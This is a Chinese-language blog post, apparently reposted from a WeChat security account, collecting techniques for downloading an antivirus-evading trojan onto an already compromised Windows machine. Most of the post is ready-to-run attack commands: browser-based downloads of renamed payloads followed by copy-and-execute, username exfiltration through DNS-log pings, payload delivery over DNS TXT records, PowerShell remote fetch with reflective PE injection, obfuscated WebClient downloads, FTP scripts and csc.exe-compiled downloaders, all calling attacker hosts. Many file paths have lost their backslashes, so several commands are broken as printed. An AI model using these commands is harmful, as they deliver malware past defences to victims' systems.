Windows通用下载绕过姿势总结

admin 2024年8月22日09:14:13评论70 views字数 5503阅读18分20秒阅读模式

一、前言

很多时候我们可以执行命令了,但是没有回显、也不交互添加加用户远程桌面没开、想远程下载木马有杀软拦截循环写入遇到负载均衡
对于远程下载能想到的方法也就是下面这些,但都是可以免杀一段时间就被杀软照顾了。


powershell,certutil,vbs,Bitsadmin,ftp,tftp,debug,msiexec,mshta,rundll32,regsrv32

下面几种方法,感觉2与5更加方便实用

二、使用浏览器下载绕过

1.1前提条件

  • 服务器出网
  • 服务器安装了其他浏览器
  • 需要获取到用户名字

因为需要拼接出默认下载路径
一般默认浏览器下载路径是


C:Users当前用户名字Downloads

这个可以使用dnslog回显来获取


ping %USERNAME%.xb1y2y.dnslog.cn
如果是powershell则
cmd /c ping %USERNAME%.xb1y2y.dnslog.cn

Bypass | Windows通用下载绕过姿势总结

1.2利用方法

首先,将我们的免杀木马后缀改为 rar ,exe后缀需要认证才能下载。当然,还有大量的后缀可以使用,需要注意的是,这种后缀的文件必须是直接下载,而不是在浏览器中打开。

1.2.1下载

使用windows自带的edge浏览器,进行下载
start msedge http://192.168.18.1:88/ca.rar
其他浏览器


start chrome http://192.168.1.1:19900/demo.rar
start firefox http://192.168.1.1:19900/demo.rar
使用默认浏览器下载
pcalua -m -a http://192.168.18.1/aa.zip

使用的是cs的shell模拟命令执行
chromeBypass | Windows通用下载绕过姿势总结

edgeBypass | Windows通用下载绕过姿势总结

使用pcaluaBypass | Windows通用下载绕过姿势总结

1.2.2获取用户名,拼接路径

Bypass | Windows通用下载绕过姿势总结


copy C:users22498Downloadsaa.zip C:users22498Downloadsaa.exe&&C:users22498Downloadsaa.exe

成功弹出计算机,这里的计算机程序我已经更改了它内部信息,360不会把他当做白名单calc的,可以看作为一个免杀马吧Bypass | Windows通用下载绕过姿势总结

1.2.3更改了下载路径解决办法

但如果更改了下载路径就很难受,因为上面那个是默认路径。
只能全盘搜索了,把搜索到的文件复制到c:userspublic下。
命令如下:下载asdb.zip复制asdb.zip到c:userspublic123456.exe


start msedge http://192.168.18.1/asdb.zip &&for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i /b /s 2>nul | findstr "asdb.zip""') do copy %k c:userspublic123456.exe&& cmd /c c:userspublic123456.exe

参考文章:https://mp.weixin.qq.com/s/b3NNiXk7tFJPtq3yuWc7pQ

三、DNSlog传递载荷

参考文章:https://mp.weixin.qq.com/s/Z1zp7klk–uQ1OnzljNESw
要使用这个功能,首先要解决的问题。把exe进行base64编码,但如何在靶机进行解码?certutil的解密功能已经被禁止了。powershell单纯想运行就可能被拦截。。。下面内容好像复现了,时间久远忘记了,如果对这个方式感兴趣的可以看原文章。


linux
lookup -q=TXT www.mydomain.com 47.113.185.169"
windows
nslookup -q=TXT www.mydomain.com 47.113.185.169"

cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 47.113.185.169 ^| findstr "exec"') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if "eofs" == "!c:~0,-1!" echo !b:~1,-4!" > ttt.txt


#编码
$fp = "C:Vigneshhelloworld.exe"
$encf = [System.IO.File]::ReadAllBytes($fp);
# returns the base64 string
$b64str = [System.Convert]::ToBase64String($encf);
Write-Host "After encoding" -ForegroundColor Green
$b64str
# 解码
#function to decode
function Convert-stob {[CmdletBinding()] param ([string] $estr,[string] $fp = (‘{0}{1}’ -f $env:TEMP, [System.Guid]::NewGuid().ToString()))try {if ($estr.Length -ge 1) {Write-Host "After decoding of exe" -ForegroundColor Green

$barr = [System.Convert]::FromBase64String($estr);
[System.IO.File]::WriteAllBytes($fp, $barr);
Write-Host $barr
}
}
catch {
}
Write-Output -InputObject (Get-Item -Path $fp);
}
$DecodedFile = Convert-stob -estr $b64str -fp C:Vigneshhelloworld.exe

缩减后


解码
$b64str = Get-Content ".hello.64";$barr = [System.Convert]::FromBase64String($b64str);[System.IO.File]::WriteAllBytes(".hello1.exe", $barr);

编码

$encf = [System.IO.File]::ReadAllBytes(".hello.exe");$b64str = [System.Convert]::ToBase64String($encf);[System.IO.File]::WriteAllText(".hello.64", $b64str);

Bypass | Windows通用下载绕过姿势总结


systemctl restart named

cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 47.113.185.169 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt

certutil -decode ttt.txt a.exe && cmd /c a.exe


function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath )
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch
{
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String; }
Convert-BinaryToString "D:DownloadProcessMonitorhello.exe" > "D:DownloadProcessMonitorhello.64"

iex(New-Object Net.WebClient).DownloadString("http://192.168.110.128:8080/Invoke-ReflectivePEInjection.ps1")
$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.110.128:8080/res.txt")
$PEBytes = [System.Convert]::FromBase64String($b64Str)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

$file = "hello.64";$data = Get-Content $file;[Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($data)) > hell.exe

iex(New-Object Net.WebClient).DownloadString("http://192.168.18.1/Invoke-ReflectivePEInjection.ps1");$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.18.1/hell.64");$PEBytes = [System.Convert]::FromBase64String($b64Str);Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR


echo (new-object System.Net.WebClient)."Down`l`oadFile"('h'+'ttp'+'://192.168.18.1/hello.exe','C:/Users/public/hello.exe')| powershell -

echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -

四、ftp

ftp下载

注意:火绒会拦截
把下面内容复制到a.txt文件中


open 1.1.1.1 21 #与1.1.1.1的21端口建立连接
use #以use用户命登录
passwd #密码
bin #切换为二进制格式传输
get a.exe #复制根目录下的a.exe
bye#结束

然后使用ftp -s:a.txt 进行连接Bypass | Windows通用下载绕过姿势总结

五、csc.exe

这个是windows自带的可以编译c#语言
默认安装路径:


32位:C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe
64位:C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe
注意:在有些低版本windows可能没有这个版本则使用
32位:C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe
64位:C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe

代码(从http://192.168.18.1/2.exe下载到C:userspublic)


using System.Net;namespace downloader{class Program{static void Main(string[] args){WebClient client = new WebClient();string URLAddress = @'http://192.168.18.1/2.exe';string Path = @'C:\userspublic';client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));}}}

写入到c:userspublictest.txt


echo using System.Net;namespace downloader{class Program{static void Main(string[] args){WebClient client = new WebClient();string URLAddress = @'http://192.168.174.145/ssss2.exe';string Path = @'C:\userspublic';client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));}}} >> c:userspublictest.txt

编译


set temp=C:UsersPublic && C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe test.txt

原文始发于微信公众号(信安404):Bypass | Windows通用下载绕过姿势总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月22日09:14:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows通用下载绕过姿势总结http://cn-sec.com/archives/1993966.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息